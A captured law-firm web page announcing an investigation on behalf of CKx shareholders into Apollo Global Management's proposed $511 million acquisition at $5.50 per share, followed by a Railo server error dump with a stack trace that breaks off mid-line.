<span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="102" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p>&nbsp;&nbsp;&nbsp;&nbsp; Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (&ldquo;CKx&rdquo; or the &ldquo;Company&rdquo;) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br />&nbsp;&nbsp;&nbsp; The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share.&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1', 'CKx')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (expression)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">variable [THISPRINTURL] doesn't exist</td>
</tr>












<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm: line 71</b><br />

<blockquote style="font-size : 10;" id="__cp1">
69: &lt;tr&gt;<br>70: &lt;td width=&quot;250&quot;&gt;<br><b>71: &lt;a href=&quot;#ThisPrintURL#&quot;&gt;&lt;img src=&quot;/images/printericon.jpg&quot; width=&quot;40&quot;&gt;&lt;/a&gt;</b><br>72: &lt;/td&gt;<br>73: &lt;/tr&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm: line 6<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
4: &lt;cfinclude template=&quot;admin.cfm&quot;&gt;<br>5: &lt;cfelse&gt;<br><b>6: &lt;cfinclude template=&quot;default-real.cfm&quot;&gt;</b><br>7: &lt;/cfif&gt;<br>8: <br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\view\Render.cfc: line 19<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
17: variables.SiteUser = PageRequest.get('SiteUser');<br>18: &lt;/cfscript&gt;<br><b>19: &lt;cfinclude template=&quot;/lightbase2/applications/#ApplicationConfig.get(&quot;Name&quot;)#/layout/page/#Page.get(&quot;Template&quot;)#.cfm&quot;&gt;</b><br>20: &lt;/cffunction&gt;<br>21: <br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 78<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
76: var RenderThis = LightWire.getTransient(&quot;Render&quot;);<br>77: <br><b>78: RenderThis.page(PageRequest);</b><br>79: <br>80: // Render.page(PageRequest);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>variable [THISPRINTURL] doesn't exist
at railo.runtime.type.scope.UndefinedImpl.get(UndefinedImpl.java:256):256
at applications.pomlaw.layout.page.default_real_cfm360$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm:71):71
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717
at applications.pomlaw.layout.page.default_cfm$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm:6):6
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764
at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717
at framework.view.render_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\view\Render.cfc:19):19
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:..